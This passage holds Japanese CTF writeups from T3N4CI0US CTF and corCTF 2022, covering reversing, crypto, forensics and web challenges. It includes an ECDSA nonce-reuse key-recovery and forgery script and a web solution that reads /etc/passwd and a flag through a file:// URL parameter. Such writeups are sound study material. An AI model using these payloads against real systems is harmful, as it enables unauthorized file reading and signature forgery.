sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('52.59.124.14', 10014))

data = recvuntil(sock, b'\n').rstrip()
print(data)
data = recvuntil(sock, b'\n').rstrip()
print(data)
data = recvuntil(sock, b'\n').rstrip()
print(data)

rs = []
ss = []
for i in range(65536):
    data = recvuntil(sock, b'check]\n').rstrip()
    print(data)
    data = recvuntil(sock, b'\n').rstrip()
    print(data)
    msg = str(i).zfill(5)
    cmd = '1:' + msg
    print(cmd)
    sock.sendall(cmd.encode() + b'\n')
    data = recvuntil(sock, b'\n').rstrip()
    print(data)
    r , s1 = eval(data)
    if r in rs:
        index = rs.index(r)
        s2 = ss[index]
        z1 = int(hashlib.md5(msg.encode()).hexdigest(), 16)
        z2 = int(hashlib.md5(str(index).encode().zfill(5)).hexdigest(), 16)
        break

    rs.append(r)
    ss.append(s1)

    i += 1

k = (z1 - z2) * inverse(s1 - s2, n) % n
d_a = (s1 * k - z1) * inverse(r, n) % n

R = G * k
x, y = R.x, R.y
r = x % n
s = inverse(k, n) * (int(hashlib.md5(target).hexdigest(),16) + r * d_a) % n

data = recvuntil(sock, b'check]\n').rstrip()
print(data)
data = recvuntil(sock, b'\n').rstrip()
print(data)
msg = str(r) + ',' + str(s)
cmd = '2:' + msg
print(cmd)
sock.sendall(cmd.encode() + b'\n')
data = recvuntil(sock, b'\n').rstrip()
print(data)

実行結果は以下の通り。

My public key is:
Point(100740616534960168008987760212819415262067546803131055211017668534201640893133, 25569694084387678506576003322339001134016840470195962352798418659980066267578)
I will sign anythin as long as it does not talk about cookies.
Choose an option:
1:[text to sign]
2:[number,number - signature to check]

1:00000
(10405697512318034398231268585344122779172453324960143543047170445080223818348, 105310122580343474201286986309857888975056744543628810229824667862170332161838)
Choose an option:
1:[text to sign]
2:[number,number - signature to check]

1:00001
(41435804264539253957040146542191076499348733412028466003420210277001876539386, 12829293370534208668234719233334171547070433621152096328933006129961453370778)
Choose an option:
1:[text to sign]
2:[number,number - signature to check]

1:00002
(27550754613607026790075792905019829902780565867938838947585902228848168440627, 86120830937178321736093401328292446142648994225110853289586823864404389368459)
Choose an option:
1:[text to sign]
2:[number,number - signature to check]

1:00003
(49213160857592820221236957894570198532591022430675231915172358378844215840608, 115047043967959511665951508262334715777435843877251544922268037898336227265094)
Choose an option:
1:[text to sign]
2:[number,number - signature to check]

1:00004
(111151957300942186660381641324857065107935219153638116658513272746162302582291, 22464926841722385278835317093728726988956190922439898905863973263206204628899)
Choose an option:
1:[text to sign]
2:[number,number - signature to check]

1:00005
(42689544016133835224620427415684513728559022294464056465793254737581457384759, 55415869869639343812323422025235688870543635126618287374850789024143116814783)
Choose an option:
1:[text to sign]
2:[number,number - signature to check]

        :
        :

1:00141
(83822374376017856480617233876851747027730645942375790017270342989929749964423, 51330874742827849326917201894380879942062945104961293945775119837437640869363)
Choose an option:
1:[text to sign]
2:[number,number - signature to check]

1:00142
(41273579064045923821354322537350911500686147093101541326998799812080436747592, 114156141789185939980217593587233004304453323805040963570270984741323614242632)
Choose an option:
1:[text to sign]
2:[number,number - signature to check]

1:00143
(105804237753942935971251712714551536782649891742674674987862872986566733096415, 49535344770716554994597611429072721671909697632410802535826669390878003209623)
Choose an option:
1:[text to sign]
2:[number,number - signature to check]

1:00144
(13498642495041740317587055510078743620293737621696104080304432056943407930722, 94174414934266220521197021366399837050081854519590237454734892738812704929372)
Choose an option:
1:[text to sign]
2:[number,number - signature to check]

1:00145
(82683363102863919392024961160650299752222859055425926324444733332733873316756, 114773872962259985945195965238009840674754792157785035486974936308885397818236)
Choose an option:
1:[text to sign]
2:[number,number - signature to check]

2:82683363102863919392024961160650299752222859055425926324444733332733873316756,32926515776512730353806135342161900953805913367019922669080654402948119331343
ENO{Th1s_t1m3_1t_w0rks_h0p3fully}
ENO{Th1s_t1m3_1t_w0rks_h0p3fully}

T3N4CI0US CTF - Escape Writeup

この大会は2022/8/10 13:00(JST)~2022/8/12 13:00(JST)に開催されました。
今回もチームで参戦。結果は3100点で557チーム中35位でした。
この大会の問題は答えが定まらず、CTFとしてはイマイチのものでした。
自分で解けた問題をWriteupとして書いておきます。

find me (MISC 100)

問題には以下のように書いてあるだけ。あとでURLを答えることが問題に追加される。

hello pls find Dolpari

Discordに入り、Dolpariを探すと見つけることができる。プロフィールにはこう書いてある。

github - https://github.com/dolpari/dolpari
instagram - https://www.instagram.com/dolpari_05/?hl=ko
tistory -
https://dolpari-is-come.tistory.com/
facebook -https://www.facebook.com/ppapesib

いろいろフラグの投入を試した結果、何とかフラグを当てることができた。

T3N4CI0US{https://www.instagram.com/dolpari_05/}

Find us(200)

問題にはこう書いてある。

Hi, can you find us?
Go into a site somewhere and look for us!

ctftimeに開催チームのURLが書いてある。そのページのメニューにメンバ紹介のあるページのURLがあり、そのURLがフラグだった。

T3N4CI0US{https://t3n4ci0us.kr/member/}

Check Check Check (Pwnable 50)

ncで接続すると、/bin/shが起動されているようなので、コマンドを実行するだけ。

$ nc 34.64.203.138 10009
ls -l
total 56
lrwxrwxrwx   1 root root    7 Aug  1 13:22 bin -> usr/bin
drwxr-xr-x   2 root root 4096 Apr 15  2020 boot
drwxr-xr-x   5 root root  340 Aug  9 22:18 dev
drwxr-xr-x   1 root root 4096 Aug  9 22:18 etc
drwxr-xr-x   1 root root 4096 Aug  9 06:59 home
lrwxrwxrwx   1 root root    7 Aug  1 13:22 lib -> usr/lib
lrwxrwxrwx   1 root root    9 Aug  1 13:22 lib32 -> usr/lib32
lrwxrwxrwx   1 root root    9 Aug  1 13:22 lib64 -> usr/lib64
lrwxrwxrwx   1 root root   10 Aug  1 13:22 libx32 -> usr/libx32
drwxr-xr-x   2 root root 4096 Aug  1 13:22 media
drwxr-xr-x   2 root root 4096 Aug  1 13:22 mnt
drwxr-xr-x   2 root root 4096 Aug  1 13:22 opt
dr-xr-xr-x 357 root root    0 Aug  9 22:18 proc
drwx------   2 root root 4096 Aug  1 13:25 root
drwxr-xr-x   5 root root 4096 Aug  1 13:25 run
lrwxrwxrwx   1 root root    8 Aug  1 13:22 sbin -> usr/sbin
drwxr-xr-x   2 root root 4096 Aug  1 13:22 srv
dr-xr-xr-x  13 root root    0 Aug  9 22:18 sys
drwxrwxrwt   1 root root 4096 Aug  9 06:59 tmp
drwxr-xr-x   1 root root 4096 Aug  1 13:22 usr
drwxr-xr-x   1 root root 4096 Aug  1 13:25 var
cd home
ls -l
total 8
drwxr-xr-x 1 root root 4096 Aug  9 22:18 ctf
cd ctf
ls -l
total 24
-rwxrwxrwx 1 ctf root    38 Aug  9 06:58 flag
-r-xrwx--- 1 ctf root 16848 Aug  9 06:58 prob
cat flag
T3N4CI0US{ZG9yb3Jvbmc/ZG9uZz9kaW5nPw}
T3N4CI0US{ZG9yb3Jvbmc/ZG9uZz9kaW5nPw}

WHISEN (Reversing 100)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  char local_58;
  undefined local_57;
  undefined local_56;
  undefined local_55;
  undefined local_54;
  undefined local_53;
  undefined local_52;
  undefined local_51;
  undefined local_50;
  undefined local_4f;
  undefined local_4e;
  undefined local_4d;
  undefined local_4c;
  undefined local_4b;
  undefined local_4a;
  undefined local_49;
  undefined local_48;
  undefined local_47;
  undefined local_46;
  undefined local_45;
  undefined local_44;
  undefined local_43;
  undefined local_42;
  undefined local_41;
  undefined local_40;
  char *local_30;
  undefined local_22;
  undefined local_21;
  undefined local_20;
  undefined local_1f;
  undefined local_1e;
  undefined local_1d;
  undefined local_1c;
  undefined local_1b;
  undefined local_1a;
  undefined local_19;
  undefined local_18;
  undefined local_17;
  undefined local_16;
  undefined local_15;
  undefined local_14;
  undefined local_13;
  undefined local_12;
  undefined local_11;
  undefined local_10;
  undefined local_f;
  undefined local_e;
  undefined local_d;
  undefined local_c;
  undefined local_b;
  undefined local_a;
  char local_9;
  
  local_9 = 'T';
  local_a = 0x33;
  local_b = 0x6b;
  local_c = 0x33;
  local_d = 0x30;
  local_e = 0x54;
  local_f = 0x4e;
  local_10 = 0x30;
  local_11 = 99;
  local_12 = 0x72;
  local_13 = 0x72;
  local_14 = 0x34;
  local_15 = 0x5f;
  local_16 = 0x53;
  local_17 = 0x7b;
  local_18 = 0x43;
  local_19 = 0x72;
  local_1a = 0x55;
  local_1b = 0x66;
  local_1c = 0x49;
  local_1d = 0x68;
  local_1e = 0x30;
  local_1f = 0x5f;
  local_20 = 0x30;
  local_21 = 0x34;
  local_22 = 0x7d;
  local_30 = (char *)malloc(0x1a);
  printf("Enter the Password : ");
  __isoc99_scanf(&DAT_0010201e,local_30);
  local_58 = local_9;
  local_57 = local_c;
  local_56 = local_f;
  local_55 = local_14;
  local_54 = local_18;
  local_53 = local_1c;
  local_52 = local_1e;
  local_51 = local_1a;
  local_50 = local_16;
  local_4f = local_17;
  local_4e = local_12;
  local_4d = local_10;
  local_4c = local_d;
  local_4b = local_e;
  local_4a = local_1f;
  local_49 = local_1b;
  local_48 = local_20;
  local_47 = local_13;
  local_46 = local_15;
  local_45 = local_1d;
  local_44 = local_14;
  local_43 = local_11;
  local_42 = local_b;
  local_41 = local_a;
  local_40 = local_19;
  iVar1 = strncmp(&local_58,local_30,0x1a);
  if (iVar1 == 0) {
    printf("Success! You found the flag!\n%s\n",&local_58);
  }
  else {
    puts("Incorrect Password !");
  }
  return 0;
}

local_9~local_22で各文字が設定されており、設定後順番を変えてメモリ配置している。順番変更後の文字を並べる。

>>> chr(0x33)
'3'
>>> chr(0x4e)
'N'
>>> chr(0x34)
'4'
>>> chr(0x43)
'C'
>>> chr(0x49)
'I'
>>> chr(0x30)
'0'
>>> chr(0x55)
'U'
>>> chr(0x53)
'S'
>>> chr(0x7b)
'{'
>>> chr(0x72)
'r'
>>> chr(0x30)
'0'
>>> chr(0x30)
'0'
>>> chr(0x54)
'T'
>>> chr(0x5f)
'_'
>>> chr(0x66)
'f'
>>> chr(0x30)
'0'
>>> chr(0x72)
'r'
>>> chr(0x5f)
'_'
>>> chr(0x68)
'h'
>>> chr(0x34)
'4'
>>> chr(99)
'c'
>>> chr(0x6b)
'k'
>>> chr(0x33)
'3'
>>> chr(0x72)
'r'
T3N4CI0US{r00T_f0r_h4ck3r}

Swood (Reversing 250)

Ghidraでデコンパイルする。

undefined8 main(int param_1,undefined8 *param_2)

{
  int iVar1;
  undefined8 uVar2;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  undefined local_10;
  
  if (param_1 < 2) {
    printf("Usage: %s <string>\n",*param_2);
    uVar2 = 1;
  }
  else {
    local_38 = 0x6565336139336164;
    local_30 = 0x6430623462366535;
    local_28 = 0x6665666235353233;
    local_20 = 0x3039383130363539;
    local_18 = 0x3930373038646661;
    local_10 = 0;
    iVar1 = strncmp((char *)&local_38,(char *)param_2[1],0x28);
    if (iVar1 == 0) {
      puts("Correect password!");
      uVar2 = 0;
    }
    else {
      puts("Wrong password!");
      uVar2 = 1;
    }
  }
  return uVar2;
}

local_38以降の数値を文字列にして結合すればよい。

>>> 0x6565336139336164.to_bytes(8, byteorder="little")
b'da39a3ee'
>>> 0x6430623462366535.to_bytes(8, byteorder="little")
b'5e6b4b0d'
>>> 0x6665666235353233.to_bytes(8, byteorder="little")
b'3255bfef'
>>> 0x3039383130363539.to_bytes(8, byteorder="little")
b'95601890'
>>> 0x3930373038646661.to_bytes(8, byteorder="little")
b'afd80709'
da39a3ee5e6b4b0d3255bfef95601890afd80709
T3N4CI0US{da39a3ee5e6b4b0d3255bfef95601890afd80709}

VISKA (Web 50)

HTMLソースを見ると、以下のコメントがある。

<!-- 
Vm0wd2QyUXlVWGxXYTFwT1ZsZFNXRll3Wkc5V01WbDNXa2M1VjAxV2JETlhhMXBQVm14S2MyTkljRmROYWxaeVZtcEtTMU5IVmtkWGJHUlRUVEZLVVZadGVGWmxSbGw0V2toR1VtSlZXbGhXYWtaTFUxWmFkR05GWkZwV01VcFlWVzAxVDFkSFNrZGpSVGxhWWxSR2RsWkdXbUZqYkhCSlkwZDRVMkV6UWxwV1ZFb3dZVEpHVjFOdVVsWmhlbXhoVm1wT1UyRkdVbGhsUjBacVlrWmFlVnBGV2xOVWJGcFpVV3h3VjFaNlJYZFdha1phWlZaT2NtRkhhRk5pVjJodlZtMXdUMVV5UmtkWGJGcFlZbFZhVkZSV2FFTlRiR3QzV2tSU1ZrMXJWalZhUkU1M1ZqRktSbGR0YUZwaGEzQkhXbFZhVDJSV1duTlRiV3hYVWpOb2IxWnRjRU5pTVVWNFdrVmthbEpXY0ZsWmJGWmhWbFpXY1ZKdFJsUlNiWFF6Vm14U1YxWXdNVVZTYTJoWFRWWktSRll3V2xwbGJGWjBZVVprYUdFeGNHaFhiRlpoWVRKT2MxcElUbWhTTW1oeldXeG9iMWRzV1hoWGJFNVRUVmQ0VjFSVmFHOWhSVEI1WVVac1dtRXhWWGhXTUZwaFpFZE9ObEp0ZUdsU2JrSktWa1phVjJFeVJrZFRXR2hZWVd0S2FGWnNXbUZqYkZweFVWaG9hbFpzY0hoV1IzaHJZVWRGZUdOR1VsaGlSbkJvVmtSS1RtVkdjRWxWYldoVFZrWmFVRlpHVmxka01XeFhWMjVPVm1Fd05YQlVWbFpYVGtaVmVXUkhkRnBXYXpWSVZUSTFSMVpXV2taalNGcGFUVlp3YUZwRlZYaFdWbEp5VGxkc1UySnJSak5XTVZKUFpERlplVkpyWkZoaWF6VnhWVEJrTkZkR2JITmhSVTVZVW14d2VGVldhRzlXUmtsM1YydGFWMUl6YUdoV2FrWkxWMVpHY21KR2FGaFRSVXBOVm10U1IxTXlVa2RVYmtwWVlYcHNXRmxZY0ZkV1ZscFlaVVprVjJGNlJsTlZSbEYzVUZFOVBRPT0=
-->

何重にもbase64エンコードされているので、繰り返しデコードする。

#!/usr/bin/env python3
from base64 import *

data = b'Vm0wd2QyUXlVWGxXYTFwT1ZsZFNXRll3Wkc5V01WbDNXa2M1VjAxV2JETlhhMXBQVm14S2MyTkljRmROYWxaeVZtcEtTMU5IVmtkWGJHUlRUVEZLVVZadGVGWmxSbGw0V2toR1VtSlZXbGhXYWtaTFUxWmFkR05GWkZwV01VcFlWVzAxVDFkSFNrZGpSVGxhWWxSR2RsWkdXbUZqYkhCSlkwZDRVMkV6UWxwV1ZFb3dZVEpHVjFOdVVsWmhlbXhoVm1wT1UyRkdVbGhsUjBacVlrWmFlVnBGV2xOVWJGcFpVV3h3VjFaNlJYZFdha1phWlZaT2NtRkhhRk5pVjJodlZtMXdUMVV5UmtkWGJGcFlZbFZhVkZSV2FFTlRiR3QzV2tSU1ZrMXJWalZhUkU1M1ZqRktSbGR0YUZwaGEzQkhXbFZhVDJSV1duTlRiV3hYVWpOb2IxWnRjRU5pTVVWNFdrVmthbEpXY0ZsWmJGWmhWbFpXY1ZKdFJsUlNiWFF6Vm14U1YxWXdNVVZTYTJoWFRWWktSRll3V2xwbGJGWjBZVVprYUdFeGNHaFhiRlpoWVRKT2MxcElUbWhTTW1oeldXeG9iMWRzV1hoWGJFNVRUVmQ0VjFSVmFHOWhSVEI1WVVac1dtRXhWWGhXTUZwaFpFZE9ObEp0ZUdsU2JrSktWa1phVjJFeVJrZFRXR2hZWVd0S2FGWnNXbUZqYkZweFVWaG9hbFpzY0hoV1IzaHJZVWRGZUdOR1VsaGlSbkJvVmtSS1RtVkdjRWxWYldoVFZrWmFVRlpHVmxka01XeFhWMjVPVm1Fd05YQlVWbFpYVGtaVmVXUkhkRnBXYXpWSVZUSTFSMVpXV2taalNGcGFUVlp3YUZwRlZYaFdWbEp5VGxkc1UySnJSak5XTVZKUFpERlplVkpyWkZoaWF6VnhWVEJrTkZkR2JITmhSVTVZVW14d2VGVldhRzlXUmtsM1YydGFWMUl6YUdoV2FrWkxWMVpHY21KR2FGaFRSVXBOVm10U1IxTXlVa2RVYmtwWVlYcHNXRmxZY0ZkV1ZscFlaVVprVjJGNlJsTlZSbEYzVUZFOVBRPT0='

while True:
    try:
        data = b64decode(data)
    except:
        break

flag = data.decode()
print(flag)
T3N4CI0US{d79fa6_2bc60_db3_5_da5512c3d_8896b7_0_2796d6_0cd}

cigarette (Web 250)

$ curl -v http://34.125.194.164:49153/
*   Trying 34.125.194.164:49153...
* TCP_NODELAY set
* Connected to 34.125.194.164 (34.125.194.164) port 49153 (#0)
> GET / HTTP/1.1
> Host: 34.125.194.164:49153
> User-Agent: curl/7.68.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 10 Aug 2022 14:30:05 GMT
< Server: Apache/2.4.25 (Debian)
< X-Powered-By: PHP/5.6.40
< Key: T3N4CI0US{bc298e7_daf7_b2d4b347f67_c_56e9d_de34152_9ad99b1_7eb78}
< Content-Length: 44
< Content-Type: text/html; charset=UTF-8
< 
Flag is not here!
* Connection #0 to host 34.125.194.164 left intact
<!-- It's not here! :) -->

レスポンスヘッダのKeyにフラグが設定されていた。

T3N4CI0US{bc298e7_daf7_b2d4b347f67_c_56e9d_de34152_9ad99b1_7eb78}

Rosin (Web 350)

$ curl http://34.125.194.164:49157/
<!-- Whisper to tell you, flag is in flag.txt under the root directory -->

ブラウザでhttp://34.125.194.164:49157/にアクセスすると、以下のページにリダイレクトされた。

http://34.125.194.164:49157/index.php?url=https://google.com

URLに"file://"形式で指定してローカルファイルにアクセスすることができるか確認してみる。

$ curl http://34.125.194.164:49157/index.php?url=file:///etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
<!-- Whisper to tell you, flag is in flag.txt under the root directory -->

$ curl http://34.125.194.164:49157/index.php?url=file:///flag/flag.txt
T3N4CI0US{aa84_c1372_0a89de3c3_f0_1316340332a_2a055c065}<!-- Whisper to tell you, flag is in flag.txt under the root directory -->
T3N4CI0US{aa84_c1372_0a89de3c3_f0_1316340332a_2a055c065}

yhparg (Forensic 200)

1.pngと2.pngのRGBの差があるピクセルの2.pngのRの色を文字にして連結する。

#!/usr/bin/env python3
from PIL import Image

img1 = Image.open('1.png').convert('RGB')
img2 = Image.open('2.png').convert('RGB')
w, h = img1.size

flag = ''
for y in range(h):
    for x in range(w):
        r1, g1, b1 = img1.getpixel((x, y))
        r2, g2, b2 = img2.getpixel((x, y))
        if r1 != r2 or g1 != g2 or b1 != b2:
            flag += chr(r2)

print(flag)
T3N4CI0US{H1D1N6_837W33N_1M463_15_C001_R1GHT?}

password (Forensic 250)

TweakPNGで確認すると、たくさんのチャンクのCRCが間違っている。一部を見ると、CRCがprintableな文字になっているので、結合する。さらに試したところ、base58になっているようだったので、デコードすると、フラグになる。

#!/usr/bin/env python3
import struct
import binascii
import base58

with open('Password.png', 'rb') as f:
    data = f.read()

enc = b''
index = 8
while index < len(data):
    size = struct.unpack('>I', data[index:index+4])[0]
    index += 4
    name = data[index:index+4]
    index += 4
    body = data[index:index+size]
    index += size
    orig_crc = data[index:index+4]
    index += 4
    crc = struct.pack('!I', binascii.crc32(name + body))
    if orig_crc != crc:
        enc += orig_crc

flag = base58.b58decode(enc).decode()
print(flag)
T3N4CI0US{Is_escape_V4ry_Fun}

french (Crypto 100)

フランスの暗号で有名なVigenere暗号と推測。https://www.dcode.fr/vigenere-cipherで鍵を調整しながら復号する。鍵は"CLE"で復号できた。

T3N4CI0US{CrypToVerryEasy}

これでは通らない。単語の間に"_"を入れてみると通った。

T3N4CI0US{CrypTo_Verry_Easy}

Before Porta arrives at the port! (Crypto 200)

モールス信号をhttps://www.boxentriq.com/code-breaking/morse-codeでデコードする。

3N4CI0US#OJADLD_U_PYP_V_EFGZXZX#

"#"の外は先頭にあるはずの"T"を除き、フラグの形式になっている。問題文からPorta Cipherと推測し、"#"で挟まれた文字列をhttps://www.dcode.fr/porta-cipherで復号する。

CRYPTO_I_HAD_A_PROBLEM
T3N4CI0US{CRYPTO_I_HAD_A_PROBLEM}

ro (Crypto 200)

問題文にはこう書いてある。

[ W E = 360 ]
   [ S N S = 360 ]
   [ N E W S = ? ]

方角を角度として足し算すればよい。

WE = 270°+90°=360°
SNS = 180°+0°+180°=360°
NEWS = 0°+90°+270°+180°=540°
T3N4CI0US{540}

corCTF 2022 Writeup

この大会は2022/8/6 9:00(JST)~2022/8/8 9:00(JST)に開催されました。
今回もチームで参戦。結果は1071点で978チーム中77位でした。
自分で解けた問題をWriteupとして書いておきます。

kcehc-ytinas (misc)

問題の画像にフラグが書いてある。

corctf{}

tadpole (crypto)

(a * s0 + b) % p = s1
(a * s1 + b) % p = s2
        :

a * s0 + b - s1 と a * s1 + b - s2 のGCDはpの倍数になる。算出した結果、このGCDは素数だったため、pとなり、文字列化したものがflag.txtの内容になる。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

a = int(params[0].split(' ')[-1])
b = int(params[1].split(' ')[-1])
s0 = 31337
s1 = int(params[2].split(' ')[-1])
s2 = int(params[3].split(' ')[-1])

p = GCD(a * s0 + b - s1, a * s1 + b - s2)
assert isPrime(p)

flag = long_to_bytes(p).decode()
print(flag)

実行結果は以下の通り。

corctf{1n_m4th3m4t1c5,_th3_3ucl1d14n_4lg0r1thm_1s_4n_3ff1c13nt_m3th0d_f0r_c0mput1ng_th3_GCD_0f_tw0_1nt3g3rs} <- this is flag adm
corctf{1n_m4th3m4t1c5,_th3_3ucl1d14n_4lg0r1thm_1s_4n_3ff1c13nt_m3th0d_f0r_c0mput1ng_th3_GCD_0f_tw0_1nt3g3rs}

luckyguess (crypto)

サーバの処理概要は以下の通り。

・p = 2**521 - 1
・a, b: 521ビットランダム整数
 →表示
・x, y: 数値入力
・r: 20ビットランダム整数
・r回以下を実行
 ・x = (x * a + b) % p
・xとyが一致していたら、フラグが表示される。

x = (x * a + b) % pの計算結果、数値が変わらないxを探したい。

(x * a + b) - x = ((a - 1) * x + b) % p = 0

以下を指定すれば、rがいくつでも成り立つ。

x = (- b * inverse(a - 1, p)) % p
y = x
#!/usr/bin/env python3
import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

p = 2**521 - 1

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('be.ax', 31800))

data = recvuntil(s, b'\n').rstrip()
print(data)
a = int(data.split(' ')[-1])
data = recvuntil(s, b'\n').rstrip()
print(data)
b = int(data.split(' ')[-1])

x = (- b * inverse(a - 1, p)) % p
y = x

data = recvuntil(s, b': ')
print(data + str(x))
s.sendall(str(x).encode() + b'\n')
data = recvuntil(s, b'? ')
print(data + str(y))
s.sendall(str(y).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

a = 4496702450299806666453832352896272067591803868391465137420208302940258369380071436162833748847621418782395740876184132823788142924697833411894369979180668818
b = 5264591053321672221313008073184006566971295393561687430668344183063642535819535395657748525569075676534278222486221423611586430427129902239842794687536930639
enter your starting point: 2735417212112793604137313523887142455327338863599240337781053390694812213723193400050215322192075006002747944014987641909121980753467616522947894040488226130
alright, what's your guess? 2735417212112793604137313523887142455327338863599240337781053390694812213723193400050215322192075006002747944014987641909121980753467616522947894040488226130
wow, you are truly psychic! here, have a flag: corctf{r34l_psych1c5_d0nt_n33d_f1x3d_p01nt5_t0_tr1ck_th15_lcg!}
corctf{r34l_psych1c5_d0nt_n33d_f1x3d_p01nt5_t0_tr1ck_th15_lcg!}

Microsoft ❤️ Linux (rev)

$ file m_3l.exe 
m_3l.exe: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, no section header

$ strings m_3l.exe 
>ci!>Uy<cjx<8e,,<p
Well done! Sadly, Linus Torvalds has embraced, extended and extinguished the other half of the flag :(
$Incorrect :(
$Well done! Sadly, Microsoft has embraced, extended and extinguished the other half of the flag :(
Incorrect :(

以下の文字列をCyberChefのXOR Brute Force、鍵長1で復号する。

>ci!>Uy<cjx<8e,,<p
→ Key = 0d: 3nd,3Xt1ngu15h!!1}

Ghidraでデコンパイルすると、該当するデータが以下のように見える。

                             DAT_00100210                                    XREF[1]:     entry:00100071(R)  
        00100210 6c              undefined1 6Ch
        00100211 ed              ??         EDh
        00100212 4e              ??         4Eh    N
        00100213 6c              ??         6Ch    l
        00100214 8e              ??         8Eh
        00100215 cc              ??         CCh
        00100216 6f              ??         6Fh    o
        00100217 66              ??         66h    f
        00100218 ad              ??         ADh
        00100219 4c              ??         4Ch    L
        0010021a 4e              ??         4Eh    N
        0010021b 86              ??         86h
        0010021c 6c              ??         6Ch    l
        0010021d 66              ??         66h    f
        0010021e 85              ??         85h
        0010021f 66              ??         66h    f
        00100220 0f              ??         0Fh
        00100221 8e              ??         8Eh
        00100222 3e              ??         3Eh    >
        00100223 63              ??         63h    c
        00100224 69              ??         69h    i
        00100225 21              ??         21h    !
        00100226 3e              ??         3Eh    >
        00100227 55              ??         55h    U
        00100228 79              ??         79h    y
        00100229 3c              ??         3Ch    <
        0010022a 63              ??         63h    c
        0010022b 6a              ??         6Ah    j
        0010022c 78              ??         78h    x
        0010022d 3c              ??         3Ch    <
        0010022e 38              ??         38h    8
        0010022f 65              ??         65h    e
        00100230 2c              ??         2Ch    ,
        00100231 2c              ??         2Ch    ,
        00100232 3c              ??         3Ch    <
        00100233 70              ??         70h    p

前半が"corctf{"から始まることを想定して2進数の値を確認する。

>>> bin(ord('c'))[2:].zfill(8)
'01100011'
>>> bin(0x6c)[2:].zfill(8)
'01101100'
>>> bin(ord('o'))[2:].zfill(8)
'01101111'
>>> bin(0xed)[2:].zfill(8)
'11101101'
>>> bin(ord('r'))[2:].zfill(8)
'01110010'
>>> bin(0x4e)[2:].zfill(8)
'01001110'

左へ3ビットシフトし、はみ出した分は右にループさせる。前半と後半の復号結果を結合すると、フラグになる。

#!/usr/bin/env python3
with open('m_3l.exe', 'rb') as f:
    data = f.read()

data1 = data[0x210:0x222]
data2 = data[0x222:0x234]

flag1 = ''
for d in data1:
    b = bin(d)[2:].zfill(8)
    new_b = b[3:] + b[:3]
    flag1 += chr(int(new_b, 2))

key2 = 0x0d

flag2 = ''
for d in data2:
    flag2 += chr(d ^ key2)

flag = flag1 + flag2
print(flag)
corctf{3mbr4c3,3xt3nd,3Xt1ngu15h!!1}

exchanged (crypto)

暗号処理の概要は以下の通り。

・p: 固定の素数
・a, b, s: p未満ランダム整数
・p, a, b, s出力
・a_priv, b_priv: p未満ランダム整数
・A: a_priv回f(s)実行
 ※f(s): (a * s + b) % p
・B: b_priv回f(s)実行
・A, B出力
・shared: b_priv回f(A)実行
・key: sharedを文字列化したもののsha256ダイジェストの先頭16バイト
・iv: ランダム16バイト文字列
・iv + [flagをAES-CBCで暗号化]の16進数表記を出力
s1 = (a * s0 + b) % p
s2 = (a * s1 + b) % p
s3 = (a * s2 + b) % p
    ↓
s2 - s1 = (a * (s1 - s0)) % p
s3 - s2 = (a * (s2 - s1)) % p = (a * a * (s1 - s0)) % p
    ↓
sn+1 - sn = (a**n * (s1 - s0)) % p
    ↓
pow(a, a_priv, p) = ((f(A) - A) * inverse(f(s) - s, p)) % p

このDLPを解き、a_privを求める。

f(shared) - shared = a**a_priv * (f(B) - B) % p
    ↓
(a * shared + b) - shared = a**a_priv * (f(B) - B) % p
    ↓
(a - 1) * shared + b = a**a_priv * (f(B) - B) % p
    ↓
shared = (a**a_priv * (f(B) - B) - b) * inverse(a - 1, p) % p

上記により、sharedを求めれば、keyがわかり、フラグを復号することができる。

#!/usr/bin/env sage
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from hashlib import sha256

def f(s):
    return (a * s + b) % p

with open('output.txt', 'r') as fr:
    params = fr.read().splitlines()

p = int(params[0].split(' ')[-1])
a = int(params[1].split(' ')[-1])
b = int(params[2].split(' ')[-1])
s = int(params[3].split(' ')[-1])
A = int(params[4].split(' ')[-1])
B = int(params[5].split(' ')[-1])
ct = bytes.fromhex(params[6])

X_A = ((f(A) - A) * inverse(f(s) - s, p)) % p

R = IntegerModRing(p)
a_priv = discrete_log(R(X_A), R(a))
print('[+] a_priv =', a_priv)

shared = int((pow(a, a_priv, p) * (f(B) - B) - b) * inverse(a - 1, p) % p)
print('[+] shared =', shared)

key = sha256(long_to_bytes(shared)).digest()[:16]
iv = ct[:16]
ct = ct[16:]
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
flag = unpad(cipher.decrypt(ct), 16).decode()
print('[*] flag =', flag)

実行結果は以下の通り。

